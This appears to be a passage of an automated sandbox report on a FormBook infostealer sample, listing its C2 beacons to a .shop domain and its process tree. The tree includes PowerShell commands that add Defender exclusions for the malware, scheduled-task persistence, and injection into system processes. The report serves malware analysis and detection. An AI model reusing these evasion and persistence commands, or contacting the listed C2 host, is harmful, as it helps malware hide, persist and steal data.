47	192.168.2.9	49762	38.145.202.186	80	5488	C:\Program Files (x86)\SDDPJiXUPzoAsDChIXKpMdIPemqMqdXjbMOdLWKqeNdOBElKx\TsdBVAGjsKVoi.exe

Timestamp	Bytes transferred	Direction	Data
Jul 9, 2024 12:11:14.115359068 CEST	1866	OUT	POST /roex/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Host: www.9988566a4.shop Content-Length: 1228 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: max-age=0 Origin: http://www.9988566a4.shop Referer: http://www.9988566a4.shop/roex/ User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Data Raw: 6c 76 2d 3d 31 35 58 42 77 68 56 79 44 2b 48 65 74 2f 34 4c 74 73 4d 77 34 5a 5a 30 44 56 61 78 57 73 4e 71 71 63 2f 6c 5a 64 55 73 2b 4a 36 46 2b 34 38 55 62 51 78 64 37 65 54 30 4a 68 54 38 39 41 34 49 69 36 64 37 45 7a 75 75 49 51 58 59 78 39 6b 43 4f 73 72 49 56 61 48 68 2f 34 75 63 30 53 6c 53 2f 48 58 36 4b 47 7a 31 50 6a 56 45 68 68 2f 42 51 51 52 31 4b 43 6c 49 41 33 66 69 76 56 61 34 4d 64 36 68 37 6c 41 36 53 36 70 63 68 62 56 4b 78 39 6a 44 69 54 78 4e 6d 54 6f 41 35 69 68 65 46 57 63 49 73 6f 47 41 66 6e 4e 65 43 51 4b 6b 65 6c 7a 6f 46 56 6d 30 50 4e 75 2f 62 72 71 56 41 36 48 57 6e 38 42 65 68 4f 76 51 35 79 6d 31 56 42 68 58 68 4c 2b 79 53 38 47 56 6d 2b 32 50 72 4f 78 66 57 5a 34 4c 78 6a 77 4c 44 68 75 4c 67 6b 53 4e 42 45 34 67 34 4f 6b 33 42 6c 6b 35 63 6a 63 61 64 64 62 39 6d 51 54 67 5a 56 34 76 55 4c 68 41 4d 44 6a 58 45 6b 68 38 38 33 63 71 47 52 30 78 61 71 44 57 4d 51 42 33 37 6f 37 66 65 4d 61 69 74 46 66 73 36 33 76 68 71 49 32 36 79 4b 68 63 6b 75 39 5a 79 66 6e 6d 61 59 [TRUNCATED] Data Ascii: lv-=15XBwhVyD+Het/4LtsMw4ZZ0DVaxWsNqqc/lZdUs+J6F+48UbQxd7eT0JhT89A4Ii6d7EzuuIQXYx9kCOsrIVaHh/4uc0SlS/HX6KGz1PjVEhh/BQQR1KClIA3fivVa4Md6h7lA6S6pchbVKx9jDiTxNmToA5iheFWcIsoGAfnNeCQKkelzoFVm0PNu/brqVA6HWn8BehOvQ5ym1VBhXhL+yS8GVm+2PrOxfWZ4LxjwLDhuLgkSNBE4g4Ok3Blk5cjcaddb9mQTgZV4vULhAMDjXEkh883cqGR0xaqDWMQB37o7feMaitFfs63vhqI26yKhcku9ZyfnmaYenp6WnH46Xl27x1L7+NuFvQuqhOZ3BeLJxlMjC44zbOnXl9UU5rPaW2O4kV0Z/m5aHpRn5IY5s2znyw1mUnW/LFl2IqScbimMIW8RgaoNdq8/c/AYJaL3c3OYhKpiSRVZy5/KA0me8fkMksc0GDWZGtSlIXmSBuBeScbCdicn/dzx7xFJTgFFBBRODkaXjfJu43+Ri5wS++3lf7jLIhTiCFnNab2OrSkXHt3gIjYMl6v3IbmQm1TgQ7AwvaMRh5punXWExZZXhAeGoVhY0hlQvDrQyH+B4f4LWJhsN7GeFRoBQal39+76ZQJdto0OL+xiqAcMWCkY7WlA+rt1i0KucavOSRHNb6AjeYJKipemPapqDxKx5Fpa0kCuoCqExYRbyAkEcUkCphc6zjbuK5l5J7hIMh+5AjGAuqz8tFuUL78maytI08SUpR4LP30EZp4qJMIi63fcpiEi/O8O75AXRSaQMDuNNYxaWc/jIkP83IxUlY49uHgr8BT55ih11BugRTVcqH0rxkcF0PrrfelbWDUq5X+ojiHsiemVlF+eb/faHua3PAa0oWqO97lcUUC3jCgSRdwU47aIWjP1WVkyBFoR73On6GC6IhCWyfJuiVJRnBMOnWv+4n772NytYLH72tfvGtSjDAgorbYzIYE0oWTUqESpU8JUy [TRUNCATED]
Jul 9, 2024 12:11:14.693792105 CEST	691	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 09 Jul 2024 10:11:14 GMT Content-Type: text/html Content-Length: 548 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.9	49763	38.145.202.186	80	5488	C:\Program Files (x86)\SDDPJiXUPzoAsDChIXKpMdIPemqMqdXjbMOdLWKqeNdOBElKx\TsdBVAGjsKVoi.exe

Timestamp	Bytes transferred	Direction	Data
Jul 9, 2024 12:11:16.679042101 CEST	566	OUT	GET /roex/?lv-=47/hzVl8DcmSvoQ5q5p0wIxjDl6sc/p2osL1e58noL7mmdwCeRUqiv3Sczuo1RIrkshpBASuVUC/h9VDFMrIc6PlwYO66SdA0FrSeVnyMCMUxRe8Kg==&GJtTF=-FH8yJw HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Host: www.9988566a4.shop Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Jul 9, 2024 12:11:17.277434111 CEST	691	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 09 Jul 2024 10:11:17 GMT Content-Type: text/html Content-Length: 548 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Target ID:	0
Start time:	06:07:13
Start date:	09/07/2024
Path:	C:\Users\user\Desktop\Inquiry PR#27957.bat.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Inquiry PR#27957.bat.exe"
Imagebase:	0xae0000
File size:	879'624 bytes
MD5 hash:	9972524538C9F43A23AD683DA0A1A97A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Target ID:	3
Start time:	06:07:15
Start date:	09/07/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\Inquiry PR#27957.bat.exe"
Imagebase:	0x30000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	4
Start time:	06:07:15
Start date:	09/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	5
Start time:	06:07:16
Start date:	09/07/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\fuqwoDzun.exe"
Imagebase:	0x30000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	6
Start time:	06:07:16
Start date:	09/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	7
Start time:	06:07:16
Start date:	09/07/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\fuqwoDzun" /XML "C:\Users\user\AppData\Local\Temp\tmp2C94.tmp"
Imagebase:	0x1e0000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	8
Start time:	06:07:16
Start date:	09/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	9
Start time:	06:07:16
Start date:	09/07/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
Imagebase:	0xb90000
File size:	45'984 bytes
MD5 hash:	9D352BC46709F0CB5EC974633A0C3C94
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000009.00000002.1645996592.00000000015A0000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000009.00000002.1645996592.00000000015A0000.00000040.10000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000009.00000002.1645343377.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000009.00000002.1645343377.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000009.00000002.1647315768.0000000002340000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000009.00000002.1647315768.0000000002340000.00000040.10000000.00040000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	true

Target ID:	10
Start time:	06:07:19
Start date:	09/07/2024
Path:	C:\Users\user\AppData\Roaming\fuqwoDzun.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\fuqwoDzun.exe
Imagebase:	0x200000
File size:	879'624 bytes
MD5 hash:	9972524538C9F43A23AD683DA0A1A97A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 34%, ReversingLabs
Reputation:	low
Has exited:	true

Target ID:	11
Start time:	06:07:19
Start date:	09/07/2024
Path:	C:\Windows\System32\wbem\WmiPrvSE.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Imagebase:	0x7ff72d8c0000
File size:	496'640 bytes
MD5 hash:	60FF40CFD7FB8FE41EE4FE9AE5FE1C51
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	12
Start time:	06:07:21
Start date:	09/07/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\fuqwoDzun" /XML "C:\Users\user\AppData\Local\Temp\tmp40A9.tmp"
Imagebase:	0x1e0000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	13
Start time:	06:07:21
Start date:	09/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	14
Start time:	06:07:21
Start date:	09/07/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
Imagebase:	0x680000
File size:	45'984 bytes
MD5 hash:	9D352BC46709F0CB5EC974633A0C3C94
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000E.00000002.1858896914.0000000003320000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000E.00000002.1858896914.0000000003320000.00000040.10000000.00040000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	true

Target ID:	16
Start time:	06:07:38
Start date:	09/07/2024
Path:	C:\Program Files (x86)\SDDPJiXUPzoAsDChIXKpMdIPemqMqdXjbMOdLWKqeNdOBElKx\TsdBVAGjsKVoi.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\SDDPJiXUPzoAsDChIXKpMdIPemqMqdXjbMOdLWKqeNdOBElKx\TsdBVAGjsKVoi.exe"
Imagebase:	0x5c0000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000010.00000002.3788150976.0000000003C10000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000010.00000002.3788150976.0000000003C10000.00000040.00000001.00040000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	false

Target ID:	17
Start time:	06:07:40
Start date:	09/07/2024
Path:	C:\Windows\SysWOW64\sfc.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\sfc.exe"
Imagebase:	0xe40000
File size:	40'448 bytes
MD5 hash:	4D2662964EF299131D049EC1278BE08B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000011.00000002.3788281912.0000000002F50000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000011.00000002.3788281912.0000000002F50000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000011.00000002.3788326451.0000000002FA0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000011.00000002.3788326451.0000000002FA0000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000011.00000002.3785830120.0000000000A50000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000011.00000002.3785830120.0000000000A50000.00000040.80000000.00040000.00000000.sdmp, Author: unknown
Has exited:	false

Target ID:	18
Start time:	06:07:52
Start date:	09/07/2024
Path:	C:\Program Files (x86)\SDDPJiXUPzoAsDChIXKpMdIPemqMqdXjbMOdLWKqeNdOBElKx\TsdBVAGjsKVoi.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\SDDPJiXUPzoAsDChIXKpMdIPemqMqdXjbMOdLWKqeNdOBElKx\TsdBVAGjsKVoi.exe"
Imagebase:	0x5c0000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000012.00000002.3788370711.00000000043B0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000012.00000002.3788370711.00000000043B0000.00000040.00000001.00040000.00000000.sdmp, Author: unknown
Has exited:	false

Target ID:	19
Start time:	06:08:01
Start date:	09/07/2024
Path:	C:\Windows\SysWOW64\sfc.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\sfc.exe"
Imagebase:	0xe40000
File size:	40'448 bytes
MD5 hash:	4D2662964EF299131D049EC1278BE08B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000013.00000002.1956019902.0000000000C90000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000013.00000002.1956019902.0000000000C90000.00000040.80000000.00040000.00000000.sdmp, Author: unknown
Has exited:	true

Target ID:	21
Start time:	06:08:04
Start date:	09/07/2024
Path:	C:\Program Files (x86)\SDDPJiXUPzoAsDChIXKpMdIPemqMqdXjbMOdLWKqeNdOBElKx\TsdBVAGjsKVoi.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\SDDPJiXUPzoAsDChIXKpMdIPemqMqdXjbMOdLWKqeNdOBElKx\TsdBVAGjsKVoi.exe"
Imagebase:	0x5c0000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000015.00000002.3791731697.00000000050A0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000015.00000002.3791731697.00000000050A0000.00000040.80000000.00040000.00000000.sdmp, Author: unknown
Has exited:	false

Target ID:	25
Start time:	06:08:21
Start date:	09/07/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\Firefox.exe"
Imagebase:	0x7ff73feb0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true